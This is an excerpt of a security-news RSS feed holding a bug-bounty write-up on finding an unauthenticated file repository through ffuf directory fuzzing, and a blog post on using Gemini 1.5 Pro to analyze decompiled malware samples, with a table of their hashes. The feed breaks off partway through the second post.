proactive. <strong>A04</strong> and <strong>A08</strong> for adversary emulation.</p><p>The methodology in this article is exactly what runs through all 8 assignments.</p><p><em>Tags: Threat Intelligence · CTI · Detection Engineering · Incident Response · Sigma · MITRE ATT&amp;CK · Blue Team · Cybersecurity</em></p><h4>Follow My Work</h4><p>I publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.</p><ul><li><strong>Portfolio / Knowledge Base:</strong> <a href="https://anpa1200.github.io/">https://anpa1200.github.io/</a></li><li><strong>Medium:</strong> <a href="https://medium.com/@1200km">https://medium.com/@1200km</a></li><li><strong>GitHub:</strong> <a href="https://github.com/anpa1200">https://github.com/anpa1200</a></li><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/andrey-pautov/">https://www.linkedin.com/in/andrey-pautov/</a></li></ul><p><strong>Andrey Pautov</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=dda5ef496a46" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46">CTI as a Code: Complete Step-by-Step Methodology</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sensitive Information Disclosure Through an Exposed File Repository.]]></title>
<description><![CDATA[By kjuliusIntroduction.One of the things I enjoy most about bug bounty hunting is how often seemingly minor findings turn into legitimate security issues. Sometimes you don’t need advanced exploitation techniques, complex chains, or zero-days. A simple directory discovery scan can reveal somethin...]]></description>
<link>https://tsecurity.de/de/3579535/hacking/sensitive-information-disclosure-through-an-exposed-file-repository/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579535/hacking/sensitive-information-disclosure-through-an-exposed-file-repository/</guid>
<pubDate>Sun, 07 Jun 2026 16:53:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IZGo4zXUA82JTyeFL_Gwhw.png"><figcaption>By kjulius</figcaption></figure><h3>Introduction.</h3><p>One of the things I enjoy most about bug bounty hunting is how often seemingly minor findings turn into legitimate security issues. Sometimes you don’t need advanced exploitation techniques, complex chains, or zero-days. A simple directory discovery scan can reveal something that was never intended to be publicly accessible.</p><p>In this article, I’ll walk through a finding that started with a routine content discovery exercise and ended with an accepted medium-severity vulnerability report and a bounty reward.</p><h3>Starting With a Single Subdomain.</h3><p>During a bug bounty assessment, I was exploring an in-scope subdomain belonging to the target program. Like I usually do when approaching a new asset, I began with basic reconnaissance and content discovery.</p><p>There’s a reason experienced hunters spend so much time enumerating and fuzzing endpoints. Organizations often secure the applications everyone knows about, but forgotten directories, legacy services, and abandoned resources frequently slip through the cracks.</p><p>For this target, I launched <a href="https://github.com/ffuf/ffuf">ffuf</a> using a <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-medium-directories.txt">raft-medium-sized</a> wordlist and let it do its thing.</p><blockquote>Command used.<br>ffuf -u https://subdomain.target.com -w raft-medium-directory.txt -mc 200,301,302 -fs 0</blockquote><p>At first, the results looked fairly ordinary. Most of the responses were either expected directories or redirections. Then one particular endpoint caught my attention:</p><p>/files</p><p>The response size looked interesting enough to warrant a closer look.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J_Tpp_apccLc5tUiMz4HCw.png"><figcaption>Proof of Concept Image.</figcaption></figure><h3>The Unexpected Discovery.</h3><p>Naturally, I opened the endpoint in my browser.</p><p>Instead of receiving a 403 Forbidden response or being redirected to a login page, I was presented with something entirely different.</p><p>A file repository.</p><p>The page appeared to be powered by a secure, enterprise-grade remote access and control solution used by IT help desks and customer support teams, and displayed a list of files available for viewing and download. Executables, ZIP archives, configuration files, batch scripts, and other resources were all sitting there in plain sight.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KL647A34L3FbvEE4f17bHg.png"><figcaption>Proof of Concept Image.</figcaption></figure><p>My first thought was simple:</p><p>“Should this really be accessible to everyone?”</p><p>The more I looked at it, the more unusual it seemed. This wasn’t a public download portal. It looked more like a support-related file store that had somehow ended up exposed to the internet.</p><p>And perhaps most importantly, there was no authentication required.</p><p>Anyone who discovered the endpoint could access it.</p><h3>Looking Beyond the Files.</h3><p>One mistake many researchers make is focusing only on whether they can find passwords, API keys, or other obvious secrets.</p><p>While those findings are certainly impactful, information disclosure vulnerabilities often provide value in less direct ways.</p><p>Even when files do not contain sensitive credentials, exposed repositories can reveal a surprising amount of information about an organization’s environment.</p><p>Installers can reveal software in use.</p><p>Configuration files can expose deployment details.</p><p>Support resources can provide attackers with intelligence that helps them understand internal workflows.</p><p>In some cases, such information can even be leveraged for social engineering attacks.</p><p>From a security perspective, the bigger issue was not necessarily the contents of a specific file — it was the fact that a repository intended for a limited audience appeared to be publicly accessible.</p><h3>Putting Together the Report.</h3><p>After documenting the endpoint and gathering screenshots, I prepared a report explaining the exposure and its potential impact.</p><p>The report focused on the lack of access controls surrounding the file store and the information disclosure risks associated with unrestricted access.</p><p>I included:</p><ul><li>The vulnerable endpoint.</li><li>Evidence showing public accessibility.</li><li>Screenshots of the exposed file listing.</li><li>A discussion of the security implications.</li><li>Recommendations for restricting access.</li></ul><p>Once everything was documented, I submitted the report and waited.</p><p>As every bug bounty hunter knows, that’s often the hardest part.</p><h3>The Verdict.</h3><p>A few days later, I received an update from the program.</p><p>The report had been reviewed and validated.</p><p>The security team agreed that the exposed file repository represented a legitimate security issue, and the finding was ultimately classified as a Medium Severity vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lCHY8onxx1GknDGPoFNIww.png"><figcaption>Proof of Concept Image.</figcaption></figure><p>Even better, the report qualified for a bounty reward.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TysdPU9Jr2SHtyF4FuK4kQ.png"><figcaption>Proof of Concept Image.</figcaption></figure><h3>Why This Finding Matters</h3><p>What makes this discovery memorable isn’t its technical complexity.</p><p>There was no authentication bypass.</p><p>No privilege escalation.</p><p>No remote code execution.</p><p>No elaborate vulnerability chain.</p><p>Instead, the finding serves as a reminder that effective reconnaissance remains one of the most powerful skills in bug bounty hunting.</p><p>Many researchers rush toward complex attack techniques while overlooking the basics. Yet time and time again, simple content discovery uncovers forgotten assets that organizations never intended to expose.</p><p>Sometimes the difference between finding nothing and finding a valid vulnerability is simply taking the time to investigate an interesting response.</p><h3>Lessons Learned.</h3><p>This experience reinforced a few important lessons for me.</p><p>First, never underestimate directory fuzzing. Even mature organizations can accidentally expose resources that should remain private.</p><p>Second, don’t immediately dismiss information disclosure findings. Not every vulnerability needs to leak credentials to create risk.</p><p>Third, when something feels out of place, investigate further. The /files endpoint could have easily been ignored as just another directory discovered during fuzzing.</p><p>Instead, it turned out to be the source of a valid bug bounty report.</p><h3>Final Thoughts.</h3><p>Bug bounty hunting often rewards persistence more than complexity.</p><p>This finding began with a single subdomain, a standard FFUF scan, and a bit of curiosity. What seemed like an ordinary directory discovery eventually became an accepted medium-severity report and a bounty payment.</p><p>The next time you’re running content discovery against a target, remember that hidden directories are hidden for a reason. Most will lead nowhere. Some will lead to dead ends.</p><p>And every once in a while, one of them will lead to a vulnerability worth reporting.</p><h3>💬 Before You Go.</h3><p><em>This finding is a reminder that effective reconnaissance doesn’t always require advanced techniques. Sometimes, a simple content discovery scan is enough to uncover assets that were never intended to be publicly accessible.</em></p><p><em>The next time you’re fuzzing a target, don’t rush past an interesting response. Take a closer look, investigate further, and understand the context. Hidden directories often tell stories that the main application doesn’t.</em></p><p><em>Thanks for reading. If you enjoyed this write-up, feel free to leave some claps👏, follow for more bug bounty stories, reconnaissance techniques, and real-world security findings. See you in the next writeup, peace… 🙏</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=9e7cfb74fff6" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/sensitive-information-disclosure-through-an-exposed-file-repository-9e7cfb74fff6">Sensitive Information Disclosure Through an Exposed File Repository.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[From Assistant to Analyst: The Power of Gemini 1.5 Pro for Malware Analysis]]></title>
<description><![CDATA[Executive Summary

A growing amount of malware has naturally increased workloads for defenders and particularly malware analysts, creating a need for improved automation and approaches to dealing with this classic threat.
With the recent rise in generative AI tools, we decided to put our own Gemi...]]></description>
<link>https://tsecurity.de/de/3578863/it-security-nachrichten/from-assistant-to-analyst-the-power-of-gemini-15-pro-for-malware-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578863/it-security-nachrichten/from-assistant-to-analyst-the-power-of-gemini-15-pro-for-malware-analysis/</guid>
<pubDate>Sun, 07 Jun 2026 08:22:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><h2><span>Executive Summary</span></h2>
<ul>
<li role="presentation"><span>A growing amount of malware has naturally increased workloads for defenders and particularly malware analysts, creating a need for improved automation and approaches to dealing with this classic threat.</span></li>
<li role="presentation"><span>With the recent rise in generative AI tools, we decided to put our own <a href="https://console.cloud.google.com/freetrial?redirectPath=/vertex-ai/generative/multimodal/create/text?model=gemini-1.5-pro-preview-0409">Gemini 1.5 Pro</a> to the test to see how it performed at analyzing malware. By providing code and using a simple prompt, we asked Gemini 1.5 Pro to determine if the file was malicious, and also to provide a list of activities and indicators of compromise.</span></li>
<li role="presentation"><span>We did this for multiple malware files, testing with both decompiled and disassembled code, and Gemini 1.5 Pro was notably accurate each time, generating summary reports in human-readable language. Gemini 1.5 Pro was even able to make an accurate determination of code that — at the time — was receiving zero detections on VirusTotal. </span></li>
<li role="presentation"><span>In our testing with other similar gen AI tools, we were required to divide the code into chunks, which led to vague and non-specific outcomes, and affected the overall analysis. Gemini 1.5 Pro, however, processed the entire code in a single pass, and often in about 30 to 40 seconds.</span></li>
</ul>
<h2>Introduction</h2>
<p><span>The explosive growth of malware continues to challenge traditional, manual analysis methods, underscoring the urgent need for improved automation and innovative approaches. Generative AI models have become invaluable in some aspects of malware analysis, yet their effectiveness in handling large and complex malware samples has been limited. The <a href="https://blog.google/technology/ai/google-gemini-next-generation-model-february-2024" rel="noopener" target="_blank">introduction of Gemini 1.5 Pro</a>, capable of processing up to 1 million tokens, marks a significant breakthrough. This advancement not only empowers AI to function as a powerful assistant in automating the malware analysis workflow but also significantly scales up the automation of code analysis. By substantially increasing the processing capacity, Gemini 1.5 Pro paves the way for a more adaptive and robust approach to cybersecurity, helping analysts manage the asymmetric volume of threats more effectively and efficiently.</span></p>
<h2><span>Traditional Techniques for Automated Malware Analysis</span></h2>
<p><span>The foundation of automated malware analysis is built on a combination of static and dynamic analysis techniques, both of which play crucial roles in dissecting and understanding malware behavior. Static analysis involves examining the malware without executing it, providing insights into its code structure and unobfuscated logic. Dynamic analysis, on the other hand, involves observing the execution of the malware in a controlled environment to monitor its behavior, regardless of obfuscation. Together, these techniques are leveraged to gain a comprehensive understanding of malware.</span></p>
<p><span>Parallel to these techniques, AI and machine learning (ML) have increasingly been employed to classify and cluster malware based on behavioral patterns, signatures, and anomalies. These methodologies have ranged from supervised learning, where models are trained on labeled datasets, to unsupervised learning for clustering, which identifies patterns without predefined labels to group similar malware.</span></p>
<p><span>Despite technological advancements, the increasing complexity and volume of malware present substantial challenges. While ML enhances the detection of malware variants, it remains inadequate against completely new threats. This detection gap allows advanced attacks to slip through cybersecurity defenses, compromising system protection.</span></p>
<h2><span>Generative AI as Malware Analysis Assistant </span></h2>
<p><a href="https://blog.virustotal.com/2023/04/introducing-virustotal-code-insight.html" rel="noopener" target="_blank"><span>Code Insight</span></a><span>, unveiled at the RSA Conference 2023, marked a significant step forward in leveraging generative AI (gen AI) for malware analysis. This novel feature of Google's VirusTotal platform specializes in analyzing code snippets and generating reports in natural language, effectively emulating the approach of a malware analyst. Initially supporting PowerShell scripts, Code Insight later expanded to other scripting languages and file formats, including Batch, Shell, VBScript, and Office documents.</span></p>
<p><span>By processing the code and generating summary reports, Code Insight assists analysts in understanding the behavior of the code and identifying attack techniques. This includes uncovering hidden functionalities, malicious intent, and potential attack vectors that might be </span><a href="https://blog.virustotal.com/2024/01/uncovering-hidden-threats-with.html" rel="noopener" target="_blank"><span>missed by traditional detection methods</span></a><span>.</span></p>
<p><span>However, due to the inherent constraints of large language models (LLMs) and their limited token input capacity, the size of files that Code Insight could handle was restricted. Although there have been continuous improvements to increase the maximum file size limit and support more formats, analyzing binaries and executables still poses a significant challenge. When these files are disassembled or decompiled, their code size typically surpasses the processing capabilities of the LLMs available at the time. Consequently, gen AI models have functioned primarily as assistants to human analysts, enabling the analysis of specific code fragments from binaries rather than processing the entire code, which is often too voluminous for these models.</span></p>
<h2><span>Reverse Engineering: The Human Face of Malware Analysis</span></h2>
<p><span>Reverse engineering is arguably the most advanced malware analysis technique available to cybersecurity professionals. This process involves disassembling the binaries of malicious software and carrying out a meticulous examination of the code. Through reverse engineering, analysts can uncover the exact functionality of malware and understand its execution flow. However, this method is not without its challenges. It requires an immense amount of time, a deep level of expertise, and an analytical mindset to interpret each instruction, data structure, and function call to reconstruct the malware's logic and uncover its secrets.</span></p>
<p><span>Furthermore, scaling reverse engineering efforts poses a significant challenge. The scarcity of specialized talent in this field exacerbates the difficulty of conducting these analyses at scale. Given the intricate and time-consuming nature of reverse engineering, the cybersecurity community has long sought ways to augment this process, making it more efficient and accessible.</span></p>
<h2><span>Gemini 1.5 Pro: Scalable Reverse Engineering for Malware Analysis</span></h2>
<p><span>The ability to process prompts of up to 1 million tokens enables a qualitative leap in malware analysis, particularly in the realm of reverse engineering. This advancement finally brings the power of gen AI to the analysis of binaries and executables, a task previously reserved for highly skilled human analysts due to its complexity.</span></p>
<p><span>How does Gemini 1.5 Pro achieve this?</span></p>
<ul>
<li role="presentation"><strong>Increased capacity</strong><span>: With its expanded token limit, Gemini 1.5 Pro can entirely analyze some disassembled or decompiled executables in a single pass, eliminating the need to break down code into smaller fragments. This is crucial because fragmenting code can lead to a loss of context and important correlations between different parts of the program. When analyzing only small snippets, it is difficult to understand the overall functionality and behavior of the malware, potentially missing key insights into its purpose and operation. By analyzing the entire code at once, Gemini 1.5 Pro gains a holistic understanding of the malware, allowing for more accurate and comprehensive analysis.</span></li>
<li role="presentation"><strong>Code interpretation</strong><span>: Gemini 1.5 Pro can interpret the intent and purpose of the code, not just identify patterns or similarities. This is possible due to its training on a massive dataset of code, encompassing assembly language from various architectures, high-level languages like C, and pseudo-code produced by decompilers. This extensive knowledge base, combined with its understanding of operating systems, networking, and cybersecurity principles, allows Gemini 1.5 Pro to effectively emulate the reasoning and judgment of a malware analyst. As a result, it can predict the malware's actions and provide valuable insights even for never-seen-before threats. For more information on this, see the zero day case study section later in this post.</span></li>
<li role="presentation"><strong>Detailed analysis</strong><span>: Gemini 1.5 Pro can generate summary reports in human-readable language, making the analysis process more accessible and efficient. This goes far beyond the simple verdicts typically provided by traditional machine learning algorithms for classification and clustering. Gemini 1.5 Pro's reports can include detailed information about the malware's functionality, behavior, and potential attack vectors, as well as indicators of compromise (IOCs) that can be used to feed other security systems and improve threat detection and prevention capabilities.</span></li>
</ul>
<p><span>Let's explore a practical case study to examine how Gemini 1.5 Pro performs in analyzing decompiled code with a representative malware sample. We processed two WannaCry binaries automatically using the Hex-Rays decompiler, without adding any annotations or additional context. This approach resulted in two C code files, one 268 KB and the other 231 KB in size, which together amount to more than 280,000 tokens for processing by the LLM.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig1.max-1000x1000.png" alt="gemini-for-malware-analysis-fig1">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>In our testing with other similar gen AI tools, we faced the necessity of dividing the code into chunks. This fragmentation often compromised the comprehensiveness of the analysis, resulting in vague and non-specific outcomes. These limitations highlight the challenges of using such tools with complex code bases.</span></p>
<p><span>Gemini 1.5 Pro, however, marks a significant departure from these constraints. It processes the entire decompiled code in a single pass, taking just 34 seconds to deliver its analysis. The initial summary provided by Gemini 1.5 Pro is notably accurate, showcasing its ability to handle large and complex datasets seamlessly and effectively:</span></p>
<ul>
<li role="presentation"><span>Issues a malicious verdict associated with ransomware</span></li>
<li role="presentation"><span>Identifies some files as IOCs (c.wnry and tasksche.exe)</span></li>
<li role="presentation"><span>Acknowledges the use of an algorithm to generate IP addresses and perform network scans to find targets on port 445/SMB to spread to other computers</span></li>
<li role="presentation"><span>Identifies URL/domain (WannaCry's "killswitch") and relevant registry key and mutex</span></li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig2.max-1000x1000.png" alt="gemini-for-malware-analysis-fig2">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>While it might seem that Gemini 1.5 Pro's report of WannaCry is based on pre-trained knowledge of this specific malware, this isn't the case. The analysis comes from the model's ability to independently interpret the code. This will become even clearer as we look at the upcoming examples where Gemini 1.5 Pro analyzes unfamiliar malware samples, demonstrating its wide-ranging capabilities.</span></p>
<h2><span>LLM on Code: Disassembled vs. Decompiled</span></h2>
<p><span>In the previous example showcasing WannaCry analysis, there was a crucial step before feeding the code to the LLM: decompilation. This process, which transforms binary code into a higher-level representation like C, is fully automated and mirrors the initial steps taken by malware analysts when manually dissecting malicious software. But what is the difference between disassembled and decompiled code, and how does it impact LLM analysis?</span></p>
<ul>
<li role="presentation"><span>Disassembly: This process converts binary code into assembly language, a low-level representation specific to the processor architecture. While human-readable, assembly code is still quite complex and requires significant expertise to understand. It is also much longer and more repetitive than the original source code.</span></li>
<li role="presentation"><span>Decompilation: This process attempts to reconstruct the original source code from the binary. While not always perfect, decompilation can significantly improve readability and conciseness compared to disassembled code. It achieves this by identifying high-level constructs like functions, loops, and variables, making the code easier to understand for analysts.</span></li>
</ul>
<p><span>Given these factors, when using LLMs for binary analysis, decompilation offers several advantages on efficiency and scalability. The shorter and more structured output from decompilation fits more readily within the processing constraints of LLMs, allowing for a more efficient analysis of large or complex binaries. In fact, the output from a decompiler is five to 10 times more concise than that produced by a disassembler.</span></p>
<p><span>Disassembly is necessary to perform accurate decompilation and remains an invaluable tool in certain scenarios where detailed, low-level analysis is crucial. Given the structured and higher-level nature of decompiled output, there are specific circumstances where disassembly provides insights that decompilation cannot match.</span></p>
<p><span>Fortunately, Gemini 1.5 Pro demonstrates equal capability in processing both high-level languages and assembly across various architectures. Thus, our implementation for automating binary analysis can utilize both strategies or adopt a hybrid approach, as suited to the specific circumstances of each case. This flexibility allows us to tailor our analysis method to the nature of the binary in question, optimizing for efficiency, depth of insight, and the specific objectives of the analysis, whether that means dissecting the logic and flow of the program or diving into the intricate details of its low-level operations.</span></p>
<p><span>Next, we'll examine a case where we directly employ disassembly for analysis. This time, we're working with a more recent and unknown binary; in fact, the executable submitted to VirusTotal is flagged as malicious by only four out of the 70 VirusTotal anti-malware engines, and only in a generic sense, without providing any details about the malware family that could offer further clues about its behavior.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig3.max-1000x1000.png" alt="gemini-for-malware-analysis-fig3">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig4.max-1000x1000.png" alt="gemini-for-malware-analysis-fig4">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>After automatic preprocessing with HexRays/IDA Pro, the 306.50 KB executable binary produces a 1.5 MB assembly file that Gemini 1.5 Pro can process in a single pass within 46 seconds , thanks to its large token window in the prompt. This capability allows for an analysis of the entire assembly output, offering detailed insights into the binary's operations.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig5.max-1000x1000.png" alt="gemini-for-malware-analysis-fig5">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>This case of the unknown binary showcases the remarkable capabilities of Gemini 1.5 Pro. Despite only four out of 70 anti-malware engines on VirusTotal flagging the file as malicious—using only generic signatures—Gemini 1.5 Pro identified the file as malicious, providing a detailed explanation for its verdict. The file is likely a game cheat designed to inject a game hack dynamic-link library (DLL) into the Grand Theft Auto video game process. The designation of "malicious" may depend on perspective: deemed malicious by the game's developers or their security team focused on anti-cheating measures, yet potentially desirable for some players. Nevertheless, this automated first-pass analysis is not only impressive but also illuminating regarding the nature and intent of the binary.</span></p>
<h2><span>Unveiling the Unknown: A Case Study in Zero-Day Detection</span></h2>
<p><span>The true test of any malware analysis tool lies in its ability to identify never-before-seen threats undetected by traditional methods and proactively protecting systems from zero-day attacks. Here, we examine a case where an executable file is undetected by any anti-virus or sandbox on VirusTotal.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig6.max-1000x1000.png" alt="gemini-for-malware-analysis-fig6">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The 833 KB file, medui.exe, was decompiled into 189,080 tokens and subsequently processed by Gemini 1.5 Pro in a mere 27 seconds to produce a complete malware analysis report in a single pass.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig7.max-1000x1000.png" alt="gemini-for-malware-analysis-fig7">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig8.max-1000x1000.png" alt="gemini-for-malware-analysis-fig8">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>This analysis revealed suspicious functionalities, leading Gemini 1.5 Pro to issue a malicious verdict. Based on its observations, it concluded that the primary goal of this malware is to steal cryptocurrency by hijacking Bitcoin transactions and evading detection through the disabling of security software.</span></p>
<p><span>This showcases Gemini's ability to go beyond simple pattern matching or ML classification and leverage its deep understanding of code behavior to identify malicious intent, even in previously unseen threats. This is a significant advancement in the field of malware analysis, as it allows us to proactively detect and respond to new and emerging threats that traditional methods might miss.</span></p>
<h2><span>From Assistant to Analyst</span></h2>
<p><span>Gemini 1.5 Pro unlocks impressive capabilities, enabling the analysis of large volumes of decompiled and disassembled code. It has the potential to significantly change our approach to fighting malware by enhancing efficiency, accuracy, and our ability to scale in response to a growing number of threats.</span></p>
<p><span>However, it's important to remember that this is just the beginning. While Gemini 1.5 Pro represents a significant leap forward, the field of gen AI is still in its infancy. There are several challenges that need to be addressed to achieve truly robust and reliable automated malware analysis:</span></p>
<ul>
<li role="presentation"><span>Obfuscation and packing: Malware authors are constantly developing new techniques to obfuscate their code and evade detection. In response, there's a growing need to not only continuously improve gen AI models but also to enhance the preprocessing of binaries before analysis. Adopting dynamic approaches that utilize various preprocessing tools can more effectively unpack and deobfuscate malware. This preparatory step is crucial for enabling gen AI models to accurately analyze the underlying code, ensuring they keep pace with evolving obfuscation techniques and remain effective in detecting and understanding sophisticated malware threats.</span></li>
<li role="presentation"><span>Increasing binary size: The complexity of modern software is mirrored in the growing size of its binaries. This trend presents a significant challenge, as the majority of gen AI models are constrained by much lower token window limits. In contrast, Gemini 1.5 Pro stands out by supporting up to 1 million tokens—currently the highest known capacity in the field. Nevertheless, even with this remarkable capability, Gemini 1.5 Pro may encounter limitations when handling exceptionally large binaries. This underscores the ongoing need for advancements in AI technology to accommodate the analysis of increasingly large files, ensuring comprehensive and effective malware analysis as software complexity continues to escalate.</span></li>
<li role="presentation"><span>Evolving attack techniques: As attackers continuously innovate, crafting new methods to bypass security measures, the challenge for gen AI models extends beyond simple adaptability. These models must not only learn and recognize new threats but also evolve in conjunction with the efforts of researchers and developers. There's a need to devise new methods for automating the preprocessing of threat data, which would enrich the context provided to AI models. For instance, integrating additional data from static and dynamic analysis tools, such as sandbox reports, plus the decompiled and disassembled code, can significantly enhance the models' understanding and detection capabilities. </span></li>
</ul>
<p><span>The journey towards scaling automated malware analysis is ongoing, but Gemini 1.5 Pro marks a significant milestone. Give <a href="https://console.cloud.google.com/freetrial?redirectPath=/vertex-ai/generative/multimodal/create/text?model=gemini-1.5-pro-preview-0409">Gemini 1.5 Pro a try</a>; we look forward to seeing the innovative ways the community leverages it to enhance security operations.</span></p>
<p><span>At </span><a href="https://safety.google/intl/en_en/engineering-center-malaga/" rel="noopener" target="_blank"><span>GSEC Malaga</span></a><span>, we continue to research and develop ways to apply these models effectively in AI, pushing the boundaries of what's possible in cybersecurity and contributing to a safer digital future.</span> </p>
<h2><span>Malware Details</span></h2>
<p><span>The following table contains details on the malware samples discussed in this post.<br><br></span></p>
<div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>SHA-256 Hash</strong></p>
</td>
<td>
<p><strong>Size</strong></p>
</td>
<td>
<p><strong>First Seen</strong></p>
</td>
<td>
<p><strong>File Type</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>lhdfrgui.exe (WannaCry dropper)</span></p>
</td>
<td>
<p><span>24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c</span></p>
</td>
<td>
<p><span>3.55 MB (3723264 bytes)</span></p>
</td>
<td>
<p><span>2017-05-12</span></p>
</td>
<td>
<p><span>Win32 EXE</span></p>
</td>
</tr>
<tr>
<td>
<p><span>tasksche.exe (WannaCry cryptor)</span></p>
</td>
<td>
<p><span>ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa</span></p>
</td>
<td>
<p><span>3.35 MB (3514368 bytes)</span></p>
</td>
<td>
<p><span>2017-05-12</span></p>
</td>
<td>
<p><span>Win32 EXE</span></p>
</td>
</tr>
<tr>
<td>
<p><span>EXEC.exe</span></p>
</td>
<td>
<p><span>1917ec456c371778a32bdd74e113b07f33208740327c3cfef268898cbe4efbfe</span></p>
</td>
<td>
<p><span>306.50 KB (313856 bytes)</span></p>
</td>
<td>
<p><span>2022-04-18</span></p>
</td>
<td>
<p><span>Win32 EXE</span></p>
</td>
</tr>
<tr>
<td>
<p><span>medui.exe</span></p>
</td>
<td>
<p><span>719b44d93ab39b4fe6113825349addfe5bd411b4d25081916561f9c403599e50</span></p>
</td>
<td>
<p><span>833.50 KB (853504 bytes)</span></p>
</td>
<td>
<p><span>2024-03-27</span></p>
</td>
<td>
<p><span>Win32 EXE</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<h2><span>Prompt</span></h2>
<p><span>The following is the exact prompt used in all the examples covered in the post. The only exception is the example where the word "disassembled" is used instead of "decompiled" because, as explained, we're working with disassembled code rather than decompiled code to show that Gemini 1.5 Pro can interpret both.<br><br></span></p>
<div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col></colgroup>
<tbody>
<tr>
<td>
